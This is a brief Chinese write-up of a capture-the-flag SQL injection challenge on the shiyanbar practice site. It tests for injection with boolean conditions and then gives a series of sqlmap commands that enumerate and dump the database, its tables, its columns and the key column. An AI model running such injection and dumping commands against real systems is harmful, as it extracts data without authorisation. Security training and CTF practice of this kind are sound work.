实验吧简单注入,地址
http://ctf5.shiyanbar.com/8/index.php?id=1
当输入id=1 and 1=1 和 id=1 and 1=2分别出现不同的搜索结果,说明存在注入点,直接上sqlmap。
爆破整个数据库:
sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1 --batch --dump-all
只针对本数据库进行爆破:
1.获取数据库名称:
sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1 --batch --current-db
2.获取数据库下的表:
sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1 --batch -D my_db --tables3.
3.获取数据库下的列
sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1 --batch -D my_db -T thiskey --columns
4.获取数据库列下的数据
sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1 --batch -D my_db -T thiskey -C k0y --dump